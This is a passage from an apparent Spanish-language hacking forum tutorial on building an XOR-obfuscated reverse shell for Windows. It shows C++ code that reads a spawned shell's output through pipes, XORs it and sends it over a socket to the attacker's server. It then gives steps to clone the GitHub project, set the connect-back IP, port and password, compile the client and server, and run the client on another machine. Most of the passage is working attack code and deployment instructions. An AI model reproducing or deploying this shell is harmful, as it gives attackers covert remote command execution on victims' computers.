la funcion You are not allowed to view links. Register or Login recibe como primer parametro el HANDLE hacia el cual escribir, en este caso el extremo de escritura de la tuberia (stdinWr), el segundo parametro es la informacion a escribir, la cual es strCmd que previamente se ha "descifrado" con XOR, el tercer parametro es la cantidad de bytes a escribir, el cuarto es un puntero a una variable de tipo DWORD que recibe la cantidad de bytes que se escribieron al HANDLE(stdinWr) y el ultimo le pasamos como parametro nullptr. Si la funcion se ejecuto correctamente el resultado es mayor a 0, si el retorno es este valor, ocurrio un error.

Y por ultimo el hilo que lee del proceso creado va de la siguiente forma:

Código: (cpp) You are not allowed to view links. Register or Login
while(EstaCorriendoLaShell){
char cBuffer[512];
DWORD bytesLeidos = 0;
if(PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)){
if(bytesLeidos > 0){
ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);
} else {
//Todavia no hay nada
Sleep(100);
continue;
}
std::string strCmd = Xor(std::string(cBuffer));
int iLen = strCmd.length();
send(sckSocket, strCmd.c_str(), iLen, 0);
} else {
//PeekNamedPipe error
EstaCorriendoLaShell = false;
break;
}
}
haciendo uso de la funcion previamente explicada PeekNamedPipe que se usa para leer del Pipe/HANDLE especificado(stdoutRd), pero al leer esta funcion no borra nada de la tuberia, es para el simple proposito de darle una "ojeada" (Peek) al HANDLE. Ademas del extremo de la tuberia se le pasa como parametro un puntero al buffer el cual recibira los datos pero en este caso como solo le estamos dando una ojeada se le pasa como parametro nullptr. Tambien recibe como parametro un puntero a una variable que recibira el valor de la cantidad de bytes que se pudieron leer (bytesLeidos). Los demas parametros se quedan en nullptr ya que no se almacenara nada solo es para ver si ya hay datos disponibles para leer.
Si la variable bytesleidos es mayor a cero significa que hay datos y podemos proceder a leer de la tuberia haciendo uso de la funcion ReadFile:

Código: (cpp) You are not allowed to view links. Register or Login
ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);esta funcion recibe la misma cantida de parametros que WriteFile, el (HANDLE/Pipe) del cual leer, donde almacenar los datos (cBuffer), cantidad de bytes a leer (512) y un puntero a una variable que recibe la cantidad de bytes leidos. El ultimo parametro al igual que la funcion WriteFile lo dejamos en nullptr. Una vez leidos los datos se "cifran" haciendo uso de XOR y posteriormente los envia al servidor(atacante).

Pues esa es una descripcion (no muy a fondo) del desarollo e implementacion de una shell inversa "cifrada" en sistemas Windows. El proyecto esta alojado en github como: You are not allowed to view links. Register or Login. Y como siempre no puede faltar el mini tutorial:

Clonar:

Código: (dos) You are not allowed to view links. Register or Login
git clone https://github.com/d3adlym1nd/Ciphered-Reverse-Shell.gitO descargar desde aqui : You are not allowed to view links. Register or Login.

Luego editar el fichero Windows/Client.cpp y modificar la siguiente linea de la clase:
Código: (cpp) You are not allowed to view links. Register or Login
std::string strPassword = "[email protected]";con cualquier contraseña que se desee. Luego modificar la funcion main:

Código: (cpp) You are not allowed to view links. Register or Login
if(Cli->Connect("127.0.0.1", "1337")){con la informacion que utilizara el cliente para conectarse.

Abrir el archivo Windows/Server.cpp y modificar la funcion main:

Código: (cpp) You are not allowed to view links. Register or Login
Server *Srv = new Server(1337, "[email protected]");con el puerto y la contraseña a usar en la comunicacion.

Compilar en el directorio Windows/ con mingw32-make client && mingw32-make server. Luego solo toca correr el servidor y el cliente en otra pc.

Una captura:
         

Espero que les sirva de algo, cualquier duda/aporte/comentario es muy bien recibido. Les deseo un feliz resto del dia ;D

Saludos.


Edit:
Cometi un error en la llamada a la funcion PeekNamedPipe, antes de la variable que recibe la cantidad de bytes leidos, se le debe pasar cuantos bytes se deben leer ya que de lo contrario retornara 0. Si les dio el error de compilacion intercambiar el nullptr antes de la variables que recibe los datos con 512. Asi:

Código: (cpp) You are not allowed to view links. Register or Login
PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)O si ya lo clonaron, actualizan con:

Código: (dos) You are not allowed to view links. Register or Login
git pull
Sinceras disculpas por el error.

Páginas: [1] 2 3 ... 5